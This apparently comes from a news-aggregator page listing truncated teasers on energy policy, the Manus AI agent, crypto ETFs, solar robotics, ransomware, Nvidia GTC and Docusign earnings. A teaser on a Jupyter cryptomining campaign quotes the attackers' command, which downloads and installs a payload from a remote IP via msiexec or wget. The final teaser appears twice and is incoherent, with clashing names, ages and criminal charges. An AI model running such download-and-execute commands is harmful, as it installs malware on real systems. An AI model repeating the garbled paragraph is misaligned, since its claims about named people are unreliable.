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HOUSTON — The officials leading President Donald Trump’s energy agenda made clear to oil, gas and mining executives this week that they have an ally in Washington who intends to make it as easy as possible for them to drill in federal lands and waters.Interior Secretary Doug Burgum told executives gathered for the world’s largest energy conference that the Trump administration does not view climate change as an existential threat. Energy Secretary Chris Wright said rising global temperatures are simply a byproduct of developing the country’s national resources to support economic growth and national security.Burgum leads Trump’s recently established National…

Manus AI agent is China’s latest artificial intelligence breakthrough that’s turning heads in Silicon Valley and beyond. Manus was launched last week via an invitation-only preview, and represents China’s most ambitious entry into the emerging AI agent market. Unlike anything seen to date, the Manus AI agent doesn’t just chat with users – it is allegedly capable of independently tackling complex multi-step tasks with minimal human guidance. Developed by Chinese startup Butterfly Effect with financial backing from tech giant Tencent Holdings, Manus AI agent has captured global attention for its ability to bridge the gap between theoretical AI capabilities and…

Crypto asset manager 21Shares is set to liquidate two actively managed exchange-traded funds (ETFs) tied to bitcoin and ether futures amid a wider market downturn. The funds slated for liquidation are the ARK 21Shares Active On-Chain Bitcoin Strategy ETF (ARKC) and the ARK 21Shares Active Bitcoin Ethereum Strategy ETF (ARKY). Investors can trade shares until the market closes on March 27, with liquidation expected to take place “on or around March 28,” according to a press release. The actively managed ETFs, which have an expense ratio of 1% and 0.93%, respectively, are set to be liquidated as U.S.-listed spot bitcoin…

As the price of solar panels has plummeted in recent decades, installation costs have taken up a greater share of the technology’s overall price tag. The long installation process for solar farms is also emerging as a key bottleneck in the deployment of solar energy.Now the startup Charge Robotics is developing solar installation factories to speed up the process of building large-scale solar farms. The company’s factories are shipped to the site of utility solar projects, where equipment including tracks, mounting brackets, and panels are fed into the system and automatically assembled. A robotic vehicle autonomously puts the finished product…

LOS ANGELES (AP) — The FBI and the U.S. Cybersecurity and Infrastructure Security Agency are warning against a dangerous ransomware scheme.In an advisory posted earlier this week, government officials warned that a ransomware-as-a-service software called Medusa, which has launched ransomware attacks since 2021, has recently affected hundreds of people. Medusa uses phishing campaigns as its main method for stealing victims’ credentials, according to CISA. To protect against the ransomware, officials recommended patching operating systems, software and firmware, in addition to using multifactor authentication for all services such as email and VPNs. Experts also recommended using long passwords, and warned against…

A novel cryptomining campaign has been identified that exploits misconfigured Jupyter Notebooks, targeting both Windows and Linux systems. The attack leverages exposed instances of Jupyter Notebook, an interactive application widely used by data scientists containing a Python IDE, to deploy malicious code that installs cryptomining software on compromised systems. The campaign begins by exploiting unsecured Jupyter environments to execute a command that attempts to install malware through multiple methods. The initial payload attempts to download either an MSI file for Windows systems or a JavaScript file for Linux environments using the command: “(ipconfig && msiexec /i http://45.130.22.219/py0217.msi) || (wget -q…

GTC, Nvidia’s biggest conference of the year, will return this week, with the biggest announcements probably coming Tuesday. If you can’t make it in person, don’t sweat it. TechCrunch will be on the ground covering the major developments. Many of the biggest presentations, talks, and panels will be livestreamed as well. The conference starts Monday, and Nvidia CEO Jensen Huang is scheduled to deliver a keynote from the SAP Center on Tuesday at 10 a.m. PT, which you’ll be able to stream and watch online at Nvidia.com without having to register, and on Nvidia’s YouTube channel. We’re expecting Huang to…

Docusign rose more than 14% after reporting stronger-than-expected earnings after the bell Thursday.”We’ve really stabilized and I think started to turn the corner on the core business,” CEO Allan Thygesen said Friday on CNBC’s “Squawk Box.” “We’ve become much more efficient.”Here’s how the company performed in the fourth quarter FY2025 compared to LSEG estimates:Earnings per share: 86 cents vs. 85 cents expectedRevenue: $776 million vs. $761 millionThe earnings beat was boosted in part by the electronic signature service’s new artificial intelligence-enabled content called Docusign IAM, a platform for optimizing processes involving agreements.”It’s tremendously valuable,” Thygesen said. “It’s opening a treasure…

To understand the new politics stance and other pro nationals of recent times, we should look to Silicon Valley and the quantified movement of the latest generation. In the high-profile case of US-based journalist Peter Wilson, 16-year-old American journalist Clifford McGraw and 20-year-old British freelance journalist Jeremy Leslie have been charged with conspiring to violate the UK Foreign Office’s anti-terror laws, a charge he denies. On Monday, UK attorney Andy McDonald revealed that he had spoken. “Few worry about catching Covid anymore, as it’s just a matter of time before they do,” says Tea, a teacher at a school for…

To understand the new politics stance and other pro nationals of recent times, we should look to Silicon Valley and the quantified movement of the latest generation. In the high-profile case of US-based journalist Peter Wilson, 16-year-old American journalist Clifford McGraw and 20-year-old British freelance journalist Jeremy Leslie have been charged with conspiring to violate the UK Foreign Office’s anti-terror laws, a charge he denies. On Monday, UK attorney Andy McDonald revealed that he had spoken. “Few worry about catching Covid anymore, as it’s just a matter of time before they do,” says Tea, a teacher at a school for…